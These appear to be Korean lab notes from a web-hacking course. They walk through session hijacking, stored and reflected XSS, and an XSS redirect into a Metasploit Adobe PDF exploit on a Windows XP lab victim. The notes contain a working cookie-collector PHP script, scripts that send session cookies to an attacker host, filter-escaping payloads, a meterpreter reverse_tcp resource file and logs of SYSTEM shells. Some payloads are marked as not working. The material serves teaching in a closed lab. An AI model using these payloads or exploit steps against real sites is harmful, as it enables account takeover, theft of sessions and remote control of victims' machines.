4. 세션 파일 정리
세션 디렉터리로 이동해서 세션 파일들을 모두 삭제한다.
[root@webhacking html]# rm -f /var/lib/php/session/*
[root@webhacking html]# ls /var/lib/php/session/

5. 관리자 로그인
크롬의 일반 모드에서 관리자(admin/111111)로 로그인한다.
http://200.200.200.3/LOGINTEST/login.php

관리자 님 환영합니다.
로그아웃

6. 일반 사용자 로그인
크롬의 시크릿 모드에서 일반 사용자(mrhong/222222)로 로그인한다.
http://200.200.200.3/LOGINTEST/login.php

홍길동 님 환영합니다.
로그아웃

7. 세션 파일 확인
로그인한 후 세션파일과 내용을 확인한다.
[root@webhacking html]# ls -l /var/lib/php/session/ 
합계 8
-rw-------. 1 apache apache 44  4월  3 11:09 sess_7np9c61mlj8cruaeg6tgce2o40  &lt;-- 관리자의 세션 파일
-rw-------. 1 apache apache 45  4월  3 11:10 sess_8dgqialg0l2s05vtmll4eidc37  &lt;-- 일반 사용자의 세션 파일

[root@webhacking LOGINTEST]# cat /var/lib/php/session/sess_7np9c61mlj8cruaeg6tgce2o40                userid|s:5:&quot;admin&quot;;username|s:9:&quot;관리자&quot;;

[root@webhacking LOGINTEST]# cat /var/lib/php/session/sess_8dgqialg0l2s05vtmll4eidc37
userid|s:6:&quot;mrhong&quot;;username|s:9:&quot;홍길동&quot;;

8. 공격 시도
arp spoofing, arp redirect 공격을 이용해서 관리자의 패킷을 sniffing해서 세션ID를 훔쳤다라고 가정한다.
여기서는 공격은 예전에 많이 했기 때문에 생략한다.

관리자의 세션 ID: 7np9c61mlj8cruaeg6tgce2o40 
일반 사용자의 세션 ID: 8dgqialg0l2s05vtmll4eidc37 

9. 세션 값 변경
공격자 홍길동 사용자는 탈취한 관리자의 세션ID를 변경한다.
관리자의 세션 ID값을 탈취하면 3가지 방법으로 일반 사용자가 관리자로 변경할 수 있다.
첫 번째 방법: 버프에서 일시적으로 변경한다.
두 번째 방법: 버프에서 영구적으로 변경한다.
세 번째 방법: EditThisCookie 에서 영구적으로 변경한다.

첫 번째 방법: burp에서 변경한다.
Intercept is on 으로 설정 &gt; 브라우저에서 새로고침 &gt; request 헤더에서 세션ID를 관리자의 세션 ID로 변경 &gt;
Intercept is off 으로 설정 &gt; 관리자로 변경한다.

두 번째 방법: burp에서 변경한다.
[Proxy] &gt; [Option 탭] &gt; [하위 &quot;Match and Replace&quot; 항목] &gt;  [Add 클릭] &gt; Type(Request header)
Match(Cookie:공백*.*), Replace(Cookie:공백[피해자 Session Cookie]), Regex match 체크

Type : Request header
Match: Cookie: *.*
Replace: Cookie: PHPSESSID=7np9c61mlj8cruaeg6tgce2o40   &lt;-- 관리자로 로그인한 세션파일의 랜덤 문자열을 적는다.
Comment: Session Hijacking

Intercept is off로 설정하고 브라우저에서 관리자로 변경되었는지 확인한다.


Burp에서 Match and Replace에서 두 번째 방법에서 설정한 Request Header를 체크를 해제한다.
Intercept is off로 설정하고 브라우저에서 새로고침을 하면 홍길동으로 돌아왔는지 확인한다.

세 번째 방법: EditThisCookie 에서 영구적으로 변경한다.
200.200.200.3 | PHPSESSID
8dgqialg0l2s05vtmll4eidc37 --&gt; 7np9c61mlj8cruaeg6tgce2o40 변경

Intercept is off로 설정하고 브라우저에서 새로고침을 하면 관리자로 변경되었는지 확인한다.
</code></pre><blockquote>
<p>*<em>실습&gt; Stored XSS *</em></p>
</blockquote>
<pre><code>이 실습은 실제 공격을 수행하기 위한 기초 실습이다.

XSS란 현재 연결중인 세션ID와 연결된 클라이언트의 쿠기값을 탈취하는 공격기법이다.
이를 이용하는 공격자가 피해자인 것처럼 속일 수도 있고 악성코드가 있는 사이트로 유도할 수도 있다. 

stored XSS : 저장된 XSS (DB에 저장이 되는 부분에 XSS 코드를 저장)

크롬 일반 모드: 관리자로 로그인
크롬 시크릿 모드: 공격자

[root@webhacking html]# mysql -e &quot;SELECT u_id,u_pass,u_name FROM WebTest.member&quot;
+--------+----------+-----------+
| u_id   | u_pass   | u_name    |
+--------+----------+-----------+
| tester | tester   | 테스터    |
| admin  | P@ssw0rd | 관리자    |
+--------+----------+-----------+

1. 관리자 로그인
크롬 일반 모드에서 관리자로 로그인한다.
admin/P@ssw0rd

2. 공격자 로그인
크롬 시크릿 모드에서 공격자로 로그인한다.
tester/111111

3. 세션 파일 확인
[root@webhacking html]# ll /var/lib/php/session/
합계 8
-rw-------. 1 apache apache 83 10월 26 14:52 sess_76535fu105qacfvjfhfutcnlg4  &lt;-- 공격자 (tester)
-rw-------. 1 apache apache 74 10월 26 14:52 sess_cgrefsmii14823n2tdoqn9aq97  &lt;-- 관리자 (admin)

[root@webhacking html]# cat /var/lib/php/session/sess_76535fu105qacfvjfhfutcnlg4 
user_id|s:6:&quot;tester&quot;;nickname|s:16:&quot;테스트계정1&quot;;ip_addr|s:13:&quot;200.200.200.1&quot;;
[root@webhacking html]# cat /var/lib/php/session/sess_cgrefsmii14823n2tdoqn9aq97 
user_id|s:5:&quot;admin&quot;;nickname|s:9:&quot;관리자&quot;;ip_addr|s:13:&quot;200.200.200.1&quot;;

4. 공격 게시물 작성
Stored XSS 을 하기 위해서 테스트 한다.
[게시판] &gt; [글쓰기] 

이 름: 테스터
비밀번호: 111111
이메일:
제 목: 관리자님 안녕하세요.
HTML적용: 적용
내 용:
관리자님 안녕하세요.

&lt;script&gt;alert(&quot;XSS&quot;)&lt;/script&gt;

공격자가 게시글을 저장한 후 확인하면 JavaScript의 alert 창이 뜨면 XSS 의 가능성이 있다고 보면 된다. 
(100% 는 아니다. 없을 수도 있다.)
그리고 글을 바로 삭제한다. (이 게시판을 글을 수정한 부분이 없기 때문이다.)

공격자가 게시판에 글을 저장한다.
이 름: 테스터
비밀번호: 111111
이메일:
제 목: 질문이 있습니다.
HTML적용: 적용
내 용:
관리자님 안녕하세요.
웹해킹에 대해서 궁금한데 뭘 배워야 하나요?
&lt;script&gt;alert(document.cookie)&lt;/script&gt;


document: 현재 문서
cookie: 쿠키값이 아래처럼 저장되어 있다라고 생각하면 된다.
document.cookie = &quot;PHPSESSID=랜덤문자열&quot;;


5. 게시물 확인
관리자가 공격자가 저장한 게시물을 확인하면 JavaScript의 alert 창이 뜨면서 
아래처럼 자신의 세션ID가 출력된다

PHPSESSID=랜덤문자열

EditThisCookie 에 저장된 쿠키값과 alert()로 출력된 쿠키값을 비교한다.

6. DB에서 데이터 확인

[root@webhacking html]# cat ~/.my.cnf 
[client]
host = localhost     
user = root         
password = P@ssw0rd

[root@webhacking html]# mysql -e &quot;SELECT * FROM WebTest.board ORDER BY strNumber DESC  LIMIT 1\G&quot;
*************************** 1. row ***************************
  strNumber: 3
    strName: 테스터
strPassword: 111111
   strEmail: 
 strSubject: 질문이 있습니다.
 strContent: 관리자님 안녕하세요.
웹해킹에 대해서 궁금한데 뭘 배워야 하나요?
&lt;script&gt;alert(document.cookie)&lt;/script&gt;    &lt;-- Stored 
    htmlTag: T
  viewCount: 2
   filename: NULL
   filesize: NULL
  writeDate: 2022-10-26 15:01:02

실습&gt; XSS 이용한 쿠키값 탈취

Victim WEB Server: 200.200.200.101
Attacker: 200.200.200.3

크로스 사이트 스크립팅

1. Attacker가 게시판에 글을 남긴다.
2. Victim이 관리자로 로그인해서 게시글을 확인한다.
3. 확인과정에서 XSS 이 실행되서 Attacker 에게 자신의 쿠키를 전송한다.
4. Attacker 가 탈취한 쿠키를 가지고 관리자 권한으로 세션을 훔쳐서 로그인한다.

Host OS에서 설정
- 크롬의 일반 모드 : 관리자
- 크롬의 시크릿 모드 : 공격자

Kali Linux : 공격자

1. 공격 준비
[root@kali ~]# systemctl restart apache2
[root@kali ~]# cd /var/www/html
[root@kali html]# vi xssAttack.php
&lt;?php
/*
 * 파일명: xssAttack.php
 * 프로그램 설명: 모든 사용자(관리자)의 쿠키값을 저장하는 PHP 공격 코드
 * 작성자: 리눅스마스터넷
 */

// print_r($_GET);
$file = &quot;xssAttack.txt&quot;; // 쿠키값이 저장될 파일명
$fp = fopen($file, &quot;a&quot;);  // 파일을 추가모드로 오픈한다.
$today = time(); // 현재 서버의 시간을 timestamp 값으로 가져온다.
$today_time = date(&#39;Y년m월d일H시 i분 s초&#39;, $today); // 날짜를 변경한다.

// 저장형식
// 날짜시간: URL COOKIE 엔터
fputs($fp, $today_time . &quot;: &quot;);  // 날짜와 시간을 저장한다.
fputs($fp, $_GET[&#39;u&#39;] . &quot; &quot;);    // URL 값을 저장한다.
fputs($fp, $_GET[&#39;c&#39;] . &quot;\n&quot;);   // COOKIE 값을 저장한다.

fclose($fp);  // 파일 닫기
?&gt;
&lt;script&gt;
self.close();  // 창 닫기
&lt;/script&gt;

[root@kali html]# touch xssAttack.txt
[root@kali html]# chown www-data: xssAttack.txt 
[root@kali html]# ll xssAttack.txt 
-rw-r--r-- 1 www-data www-data 0 Oct 26 02:11 xssAttack.txt

2. 로그인 
관리자와 공격자가 브라우저로 로그인한다.


3. 공격 게시물 작성
Attacker가 기존 게시물을 삭제하고 게시판에 글을 남길 때 공격코드도 함께 저장한다.
이 름: 공격자    
비밀번호: 111111
이메일:     
제 목: XSS TEST
HTML적용:적용 
내 용:
XSS Test
&lt;script&gt;var c1=document.cookie;var u1=location.href;var url=&quot;http://200.200.200.3/xssAttack.php?c=&quot;+c1+&quot;&amp;u=&quot;+u1;open(url, &quot;&quot;, &quot;width=0,height=0;&quot;); &lt;/script&gt;

4. 파일 모니터링
[root@kali html]# tail -f xssAttack.txt 

5. 게시글 확인
로그인된 관리자가 공격자가 저장한 게시글을 확인한다. (관리자는 반드시 로그인을 하고 글을 본다.)
글을 보면 팝업창이 차단되므로 팝업창을 허용하고 다시 글을 본다.
글을 보는 순간 공격자쪽으로 URL주소와 세션ID가 전송된다.
공격자는 URL주소와 세션ID를 받아서 파일로 저장한다.

&lt;script&gt;
var c1=&quot;PHPSESSID=88b2hd49g864rre2cec5kjsuk4&quot;;
var u1=&quot;http://200.200.200.101/board/board_view.php?num=3&quot;;
var url=&quot;http://200.200.200.3/xssAttack.php?c=PHPSESSID=88b2hd49g864rre2cec5kjsuk4&amp;u=http://200.200.200.101/board/board_view.php?num=3&quot;;
open(url, &quot;&quot;, &quot;width=0,height=0;&quot;); 
&lt;/script&gt;

실제 공격자에게 접속한 URL
http://200.200.200.3/xssAttack.php?c=PHPSESSID=88b2hd49g864rre2cec5kjsuk4&amp;u=http://200.200.200.101/board/board_view.php?num=3

[root@kali html]# tail -f xssAttack.txt 
2023년04월03일03시 50분 04초: http://200.200.200.101/board/board_view.php?num=3 PHPSESSID=88b2hd49g864rre2cec5kjsuk4

6. 권한 상승
세션 Hijacking을 하는 두 가지 중에서 하나를 선택해서 사용한다.
o EditThisCookie 에서 쿠키값 변경하기
- 일반 모드에서 쿠키값을 복사해서 시크릿 모드의 쿠키값으로 덮어쓴다.
수정 전 시크릿 모드의 공격자 쿠키값: 76535fu105qacfvjfhfutcnlg4 
수정 후 시크릿 모드의 공격자 쿠키값: cgrefsmii14823n2tdoqn9aq97


o burp 에서 변경하기
Proxy → Option 탭 → 하위 &quot;Match and Replace&quot; 항목 → 
Add 클릭 → 
Type:Request header

Match: Cookie: *.*
Replace: Cookie: [피해자 Session Cookie]  &lt;-- Cookie: PHPSESSID=cgrefsmii14823n2tdoqn9aq97
Comment: 관리자 세션 탈취
Regex match: 체크

7. 브라우저 새로 고침
쿠키값을 변경한 후 새로고침을 하면 관리자로 변경이 된다.
</code></pre><blockquote>
<p><strong>실습&gt; 이미지 태그를 이용한 xss</strong></p>
</blockquote>
<pre><code>1. 소스코드 작성
[root@webhacking ~]# cd /var/www/html
[root@webhacking html]# vi xss.html

&lt;html&gt;
&lt;head&gt;
 &lt;meta charset=&quot;utf8&quot;&gt;
 &lt;title&gt; xss test &lt;/title&gt;
&lt;/head&gt;

&lt;body&gt;
&lt;img src=&quot;xss.jpg&quot; onError=&quot;alert(&#39;xss&#39;)&quot;&gt; xss
&lt;/body&gt;
&lt;/html&gt;

2. 접속
http://200.200.200.101/xss.html

alert() 함수가 실행된다.

3. 공격 게시물 작성
Attacker가 기존 게시물을 삭제하고 게시판에 글을 남길 때 공격코드도 함께 저장한다.
이 름: 공격자    
비밀번호: 111111
이메일:     
제 목: XSS TEST 2
HTML적용:적용 
내 용:
XSS Test 2

&lt;img src=&quot;xss.jpg&quot; onError=alert(document.cookie)&gt;</code></pre><blockquote>
<p><strong>실습&gt; 악성 URL로 리다이렉션하는 Stored XSS</strong></p>
</blockquote>
<pre><code>Victim Windows XP: 200.200.200.4

1. Victim Windowx XP 부팅

C:\&gt;ipconfig

Windows IP Configuration


Ethernet adapter 로컬 영역 연결:

        Connection-specific DNS Suffix  . :
        IP Address. . . . . . . . . . . . : 200.200.200.4
        Subnet Mask . . . . . . . . . . . : 255.255.255.0
        Default Gateway . . . . . . . . . : 200.200.200.2

C:\&gt;ping 200.200.200.3

Pinging 200.200.200.3 with 32 bytes of data:

Reply from 200.200.200.3: bytes=32 time&lt;1ms TTL=64
Reply from 200.200.200.3: bytes=32 time&lt;1ms TTL=64
Reply from 200.200.200.3: bytes=32 time&lt;1ms TTL=64
Reply from 200.200.200.3: bytes=32 time&lt;1ms TTL=64

Ping statistics for 200.200.200.3:
    Packets: Sent = 4, Received = 4, Lost = 0 (0% loss),
Approximate round trip times in milli-seconds:
    Minimum = 0ms, Maximum = 0ms, Average = 0ms

2. 공격 코드 실행
[root@kali ~]# cd /var/www/html/
[root@kali html]# vi adobe_cooltype_sing.rc
use exploit/windows/browser/adobe_cooltype_sing
set PAYLOAD windows/meterpreter/reverse_tcp
set URIPATH xss.html
set LHOST 200.200.200.3
set SRVPORT 8000
run
[root@kali html]# msfconsole -r adobe_cooltype_sing.rc

3. 공격 게시물 작성
여기서는 두 번째 공격 형태인 악성 웹페이지에 pdf 취약점을 공격하는 코드를 넣어놓고 XSS에 의해서 
Victim xp 가 접속해서 악성코드에 감염될 수 있도록 한다.

이 름: 공격자    
비밀번호: 1
이메일:     
제 목: XSS PDF 취약점 리다이렉션
HTML적용:적용 
내 용:
XSS Test

&lt;script&gt;location.href=&quot;http://200.200.200.3:8000/xss.html&quot;;&lt;/script&gt;

4. 공격 게시물 확인
Victim이 공격 게시물을 확인하면 PDF 취약점을 공격하는 공격 스크립트가 실행되면서 공격자에게 리버스 커넥션으로 
연결되서 meterpreter shell이 떠진다.

[*] Started reverse TCP handler on 200.200.200.3:4444
[*] Using URL: http://200.200.200.3:8000/xss.html
[*] Server started.
msf6 exploit(windows/browser/adobe_cooltype_sing) &gt; [*] 200.200.200.4    adobe_cooltype_sing - Request from browser: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)
[*] 200.200.200.4    adobe_cooltype_sing - Sending crafted PDF
[*] 200.200.200.4    adobe_cooltype_sing - Request from browser: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)
[*] 200.200.200.4    adobe_cooltype_sing - Sending crafted PDF
[*] Sending stage (175686 bytes) to 200.200.200.4
[*] Session ID 1 (200.200.200.3:4444 -&gt; 200.200.200.4:1043) processing InitialAutoRunScript &#39;post/windows/manage/priv_migrate&#39;
[*] Current session process is iexplore.exe (244) as: VICTIM_WINXP\ksw
[*] Session is Admin but not System.
[*] Will attempt to migrate to specified System level process.
[*] Trying services.exe (700)

msf6 exploit(windows/browser/adobe_cooltype_sing) &gt; sessions

Active sessions
===============

  Id  Name  Type                  Information            Connection
  --  ----  ----                  -----------            ----------
  1         meterpreter x86/wind  VICTIM_WINXP\ksw @ VI  200.200.200.3:4444 -&gt;
            ows                   CTIM_WINXP              200.200.200.4:1043 (
                                                         200.200.200.4)

msf6 exploit(windows/browser/adobe_cooltype_sing) &gt; sessions 1
[*] Starting interaction with 1...

meterpreter &gt; sysinfo
Computer        : VICTIM_WINXP
OS              : Windows XP (5.1 Build 2600, Service Pack 3).
Architecture    : x86
System Language : ko_KR
Domain          : WORKGROUP
Logged On Users : 2
Meterpreter     : x86/windows

meterpreter &gt; shell
Process 3456 created.
Channel 1 created.
Microsoft Windows XP [Version 5.1.2600]
(C) Copyright 1985-2001 Microsoft Corp.
</code></pre><blockquote>
<p><strong>실습&gt; 취약한 PDF 삭제</strong></p>
</blockquote>
<pre><code>만약 Victim XP에서 취약한 프로그램인 pdf 버전을 삭제하면 어떻게 될까?

1. pdf 삭제
cmd -&gt; appwiz.cpl -&gt; pdf 삭제

2. 공격 코드 실행
[root@kali ~]# cd /var/www/html/
[root@kali html]# msfconsole -r adobe_cooltype_sing.rc

3. 공격 게시물 작성
여기서는 두 번째 공격 형태인 악성 웹페이지에 pdf 취약점을 공격하는 코드를 넣어놓고 XSS에 의해서 
Victim xp 가 접속해서 악성코드에 감염될 수 있도록 한다.

이 름: 공격자    
비밀번호: 1
이메일:     
제 목: XSS PDF 취약점 리다이렉션
HTML적용:적용 
내 용:
XSS Test

&lt;script&gt;location.href=&quot;http://200.200.200.3:8000/xss.html&quot;;&lt;/script&gt;

4. 공격 게시물 확인
Victim이 공격 게시물을 확인해도 취약한 버전의 PDF 프로그램이 없으므로 pdf 공격은 여기서는 통하지 않는다.

[*] Started reverse TCP handler on 200.200.200.3:4444
[*] Using URL: http://200.200.200.3:8000/xss.html
[*] Server started.
msf6 exploit(windows/browser/adobe_cooltype_sing) &gt; [*] 200.200.200.4    adobe_cooltype_sing - Request from browser: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)
[*] 200.200.200.4    adobe_cooltype_sing - Sending crafted PDF
[*] 200.200.200.4    adobe_cooltype_sing - Request from browser: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)
[*] 200.200.200.4    adobe_cooltype_sing - Sending crafted PDF
  :
  :(생략)

Victim Winxp 에서 나오는 브라우저 내용
아래처럼 나오고 더 이상 진행되지 않는다.

%PDF-1.5 %뿅? 1 0 obj &lt;&lt; /P#61g#65s 2 0 R /#54#79#70#65 /#43#61t#61log /Op#65#6e#41c#74#69#6f#6e 11 0 R /A#63#72#6fFo#72#6d 13 0 R &gt;&gt; endobj 2 0 obj &lt;&lt; /M#65d#69a#42#6fx 3 0 R /#52e#73ou#72c#65#73 4 0 R /K#69ds [5 0 R] /Cou#6e#74 1 /Type /P#61#67#65#73 &gt;&gt; endobj 3 0 obj [0 0 595 842] endobj 4 0 obj &lt;&lt; /#46ont 6 0 R &gt;&gt; endobj 5 0 obj &lt;&lt; /P#61#72#65#6et 2 0 R /#4de#64#69a#42ox 3 0 R /R#65#73o#75#72#63es 4 0 R /#43on#74#65nts [8 0 R] /Typ#65 /Pag#65 &gt;&gt; endobj 6 0 obj &lt;&lt; /#461 7 0 R &gt;&gt; endobj 7 0 obj &lt;&lt; /#54#79#70e /F#6fn#74 /#53u#62#74#79p#65 /T#72#75e#54#79pe /Na#6d#65 /F1 /#42#61#73#65Fo#6et /Ci#6e#65#6da /#57id#74h#73 [] /#46ontD#65s#63r#69#70#74#6fr 9 0 R/Enc#6fd#69ng /#4d#61#63#52om#61#6eEnc#6f#64in#67&gt;&gt; endobj 8 0 obj &lt;&lt; /#4ce#6eg#74h 65 &gt;&gt; stream 0 g BT /F1 32 Tf 32 Tc 1 0 0 1 32 773.872 


결론: 취약점 공격 실패</code></pre><blockquote>
<p><strong>실습&gt; Reflected XSS</strong></p>
</blockquote>
<pre><code>Reflected XSS 는 Stored XSS와 다르게 서버에 반사되서 돌아올 때 XSS 공격이 발생하는 것이다.

http://200.200.200.101/board/board_list.php?key=1&amp;keyword=&lt;script&gt;alert(document.cookie)&lt;/script&gt;

http://200.200.200.101/board/board_list.php?key=1&amp;keyword=메세지

http://200.200.200.101/board/board_list.php?key=1&amp;keyword=abc
http://200.200.200.101/board/board_list.php?key=1&amp;keyword=&lt;script&gt;alert(&quot;xss&quot;)&lt;/script&gt;
http://200.200.200.101/board/board_list.php?key=1&amp;keyword=&lt;script&gt;location.href=&quot;https://naver.com&quot;;&lt;/script&gt;

1. 소스코드 변경
board/board_list.php 부분에 mysql_real_escape_string() 함수를 주석처리 한다.
mysql_real_escape_string() 함수는 &quot; 를 \&quot; 로 변경해서 리턴하는 함수다. 
[root@webhacking html]# vi board/board_list.php

 34             //$keyword = mysql_real_escape_string($keyword);
 35             echo $keyword;

2. Reflected XSS 확인
검색에서 확인한다.
첫 번째: 공격자가 쓴 코드가 되돌아 와야 한다.
두 번째: 공격자가 쓴 코드가 담긴 URL이 생성되어야 한다.
세 번째: 스크립트가 실행되어야 한다.
http://200.200.200.101/board/board_list.php?key=1&amp;keyword=&lt;script&gt;location.href=&quot;https://naver.com&quot;;&lt;/script&gt;


3. 공격 모니터링
[root@kali html]# &gt;  xssAttack.txt
[root@kali html]# tail -f xssAttack.txt

4. 공격 코드 삽입
공격 코드를 만들어서 실행해서 되는지 확인한다.
&lt;script&gt;var c1=document.cookie;var u1=location.href;var url=&quot;http://200.200.200.3/xssAttack.php?c=&quot;+c1+&quot;&amp;u=&quot;+u1;location.href=url;&lt;/script&gt;

********** 아래 코드는 안된다... 확인 요망 **********

http://200.200.200.101/board/board_list.php?key=1&amp;keyword=&lt;script&gt;var c1=document.cookie;var u1=location.href;var url=&quot;http://200.200.200.3/xssAttack.php?c=&quot;+c1;alert(url);&lt;/script&gt;


http://200.200.200.101/board/board_list.php?key=1&amp;keyword=&lt;script&gt;var c1=document.cookie;var u1=location.href;var url=&quot;http://200.200.200.3/xssAttack.php?c=&quot;+c1+&quot;&amp;u=&quot;+u1;location.href=&quot;url&quot;;&lt;/script&gt;


********** 아래 코드는 안된다... 확인 요망 **********</code></pre><blockquote>
<p><strong>실습&gt; Reflected XSS</strong></p>
</blockquote>
<pre><code>Victim XP가 아래 URL을 접속하면 PDF 취약점에 의해서 PC가 공격자에 장악당하게 된다.

http://200.200.200.101/board/board_list.php?key=1&amp;keyword=&lt;script&gt;location.href=&quot;http://200.200.200.3:8000/xss.html&quot;&lt;/script&gt;

공격자는 pdf 취약점을 대기하고 있고 XP는 URL에 접근하면 된다.


[root@kali html]# msfconsole -r adobe_cooltype_sing.rc 
  :
  :(생략)

[*] 200.200.200.4    adobe_cooltype_sing - Request from browser: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)
[*] 200.200.200.4    adobe_cooltype_sing - Sending crafted PDF
[*] 200.200.200.4    adobe_cooltype_sing - Request from browser: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)
[*] 200.200.200.4    adobe_cooltype_sing - Sending crafted PDF
[*] Sending stage (175686 bytes) to 200.200.200.4
[*] Session ID 1 (200.200.200.3:4444 -&gt; 200.200.200.4:1064) processing InitialAutoRunScript &#39;post/windows/manage/priv_migrate&#39;
[*] Current session process is iexplore.exe (512) as: VICTIM_WINXP\ksw
[*] Session is Admin but not System.
[*] Will attempt to migrate to specified System level process.
[*] Trying services.exe (700)
[+] Successfully migrated to services.exe (700) as: NT AUTHORITY\SYSTEM
[*] Meterpreter session 1 opened (200.200.200.3:4444 -&gt; 200.200.200.4:1064) at 2022-10-26 21:38:10 -0400

msf6 exploit(windows/browser/adobe_cooltype_sing) &gt; 
msf6 exploit(windows/browser/adobe_cooltype_sing) &gt; 
msf6 exploit(windows/browser/adobe_cooltype_sing) &gt; sessions 

Active sessions
===============

  Id  Name  Type                     Information                   Connection
  --  ----  ----                     -----------                   ----------
  1         meterpreter x86/windows  VICTIM_WINXP\ksw @ VICTIM_WI  200.200.200.3:4444 -&gt; 200.20
                                     NXP                           0.200.4:1064 (200.200.200.4)

msf6 exploit(windows/browser/adobe_cooltype_sing) &gt; sessions 1
[*] Starting interaction with 1...

meterpreter &gt; 
meterpreter &gt; sysinfo
Computer        : VICTIM_WINXP
OS              : Windows XP (5.1 Build 2600, Service Pack 3).
Architecture    : x86
System Language : ko_KR
Domain          : WORKGROUP
Logged On Users : 2
Meterpreter     : x86/windows
meterpreter &gt; shell
Process 268 created.
Channel 1 created.
Microsoft Windows XP [Version 5.1.2600]
(C) Copyright 1985-2001 Microsoft Corp.

C:\WINDOWS\system32&gt;exit          
exit

meterpreter &gt; 
</code></pre><blockquote>
<p><strong>실습&gt; WebTest 사이트에서 Reflected XSS을 찾아보기</strong></p>
</blockquote>
<pre><code>Injection vector를 찾아서 확인하고 최종적으로 URL을 생성해서 naver.com 으로 점프시키면 된다.

변수명=&lt;script&gt;location.href=&quot;https://naver.com&quot;;&lt;/script&gt;</code></pre><blockquote>
<p><strong>실습&gt; mywebsite 세팅</strong></p>
</blockquote>
<pre><code>1. 웹페이지 설정
[root@webhacking ~]# yum -y install wget
[root@webhacking ~]# cd /var/www/html/
[root@webhacking html]# wget https://linuxmaster.net/website/mywebsite.tar.gz --no-check-certificate
[root@webhacking html]# tar xzf mywebsite.tar.gz
[root@webhacking html]# mysql -e &quot;CREATE DATABASE mywebsite&quot;
[root@webhacking html]# cd mywebsite
[root@webhacking mywebsite]# mysql mywebsite &lt; mywebsite.sql

2. 접속
http://200.200.200.101/mywebsite/</code></pre><blockquote>
<p><strong>실습&gt; mywebsite 로 설정하고 Reflected XSS 찾기</strong></p>
</blockquote>
<pre><code>
[root@webhacking ~]# cd /var/www/html/
[root@webhacking html]# mkdir WebTest
[root@webhacking html]# mv * WebTest/
[root@webhacking html]# mv WebTest/mywebsite/* .</code></pre><blockquote>
<p><strong>실습&gt; 자바스크립트 함수</strong></p>
</blockquote>
<pre><code>[root@webhacking js]# pwd
/var/www/html/js

[root@webhacking js]# cat jsFunction.html
&lt;html&gt;
 &lt;head&gt;
   &lt;meta charset=&quot;utf8&quot;&gt;
   &lt;title&gt; ::: 자바스크립트 함수 ::: &lt;/title&gt;
 &lt;/head&gt;

 &lt;body&gt;
 &lt;script language=&quot;JavaScript&quot;&gt;
 &lt;!--
    /*
     * 함수 정의
     * function 함수명(매개변수)
     * {
     *     실행문
     * }
     *
     * 함수 호출
     * 함수명();
     * 함수명(인수);
     */
    function myFunc()
    {
        var i = 1;
        while(i &lt;= 5)
        {
            // alert(i);
            document.write(i + &quot;&lt;br&gt;&quot;);
            i++;
        }
    }

    myFunc();

 //--&gt;
 &lt;/script&gt;

 &lt;/body&gt;
&lt;/html&gt;
</code></pre><blockquote>
<p><strong>실습&gt; reflected XSS</strong></p>
</blockquote>
<pre><code>반사된 XSS

서버에 전송되는 변수에 저장하고 전송한다.
http://200.200.200.101/useridcheck.html?useridcheck=1&amp;userid=&lt;script&gt;alert(&quot;XSS&quot;);&lt;/script&gt;

취약점 종류: Relected XSS
취약한 URL: http://200.200.200.101/useridcheck.html?useridcheck=1&amp;userid=&lt;script&gt;location.href=&quot;https://naver.com&quot;;&lt;/script&gt;
취약한 파라미터: userid
공격 코드: &lt;script&gt;location.href=&quot;악성URL&quot;;&lt;/script&gt;
공격 위치: 회원가입 -&gt; 중복확인
&lt;script&gt;alert(&quot;XSS&quot;)&lt;/script&gt;
&lt;script&gt;alert(document.cookie)&lt;/script&gt;
&lt;script&gt;location.href=&quot;https://naver.com&quot;;&lt;/script&gt;


function gopage(page)
{ 
    // delete.html?id=bbs2&amp;no=15
    var page = page + &quot;?id=&quot; + &quot;bbs1&quot; + &quot;&amp;no=&quot; + &quot;17&quot;;}alert(&quot;xss&quot;); function a() { //&quot;;

    var str  = &quot;17xss&quot; + &quot;번 게시글을 삭제하겠습니까 ?&quot;;
    var yesno = confirm(str);
    /*

취약점 종류: Relected XSS
취약한 URL: http://200.200.200.101/?id=bbs1&amp;m=read&amp;no=17%22;}location.href=%22https://naver.com%22;%20function%20a()%20{%20//
취약한 파라미터: no
공격 코드: &quot;;}location.href=&quot;악성URL&quot;; function a(){//
공격 위치: 글보기
</code></pre><blockquote>
<p><strong>실습&gt; 웹 방화벽 와플즈</strong></p>
</blockquote>
<pre><code>WAPPLES WAF(Web Application Firewall) 제약 조건
- 카페, 블로그, 유튜브 등 설치, 세팅, etc ... 모든 것들을 외부 매체에 오픈하지 않기!
- WAPPLES-5.0.0.13_KH.ova 파일을 외부에 공유하지 않기!
- WAPPLES 인증서를 외부에 공유하지 않기!
- WAPPLES 로그인 비밀번호를 외부에 공유하지 않기!
</code></pre><blockquote>
<p><strong>실습&gt; VirtualBox 설치</strong></p>
</blockquote>
<pre><code>공식 사이트 : https://www.virtualbox.org/

VMware vs Virtual Box: 가상화 프로그램

VMware : VMware 사에서 나온 가상화 프로그램
VMware, VMware Player ...
http://www.vmware.com
https://www.vmware.com/kr.html

VirtualBox : 
VMware와 동일한 가상화 프로그램으로 Oracle 사에서 만들었고 현재까지는 무료로 사용할 수 있다.
실무에서도 VMware 처럼 많이 사용된다. </code></pre><blockquote>
<p>*<em>실습&gt; VirtualBox 호스트키 변경 *</em></p>
</blockquote>
<pre><code>VirtualBox가 설치되면 호스트키를 변경한다.
기본 호스트키 : Right Contol

도구 &gt; 환경설정 &gt; 입력 &gt; 가상머신 탭
호스트 키 조합 : Right Control -&gt; Ctrl + Alt 변경 (클릭해서 Ctrl + Alt를 누르면 변경)


웹 방화벽이 없는 네트워크 환경 VS 웹 방화벽이 있는 네트워크 환경


웹 방화벽이 없는 네트워크 환경
                               +-- [Server1]  server1.kr
                               |
[Internet] ---------- [SW]-----+-- [Server2]  server2.kr
                               |
                               +-- [Server3]  server3.kr


웹 방화벽이 있는 네트워크 환경
- Inline 방식으로 설정한 경우
                               +-- [Server1]  server1.kr
                               |
[Internet] -----[WAF]---[SW]---+-- [Server2]  server2.kr
                               |
                               +-- [Server3]  server3.kr


웹 방화벽이 있는 네트워크 환경 
- Proxy 방식으로 설정한 경우
                               +-- [Server1]  &lt;---+
                               | B                |
[Internet] ---------- [SW]-----+-- [Server2]  &lt;---+-----------+
                               | B                |           |
                               +-- [Server3]  &lt;---+-----------+-----------+
                               | B                |           |           |
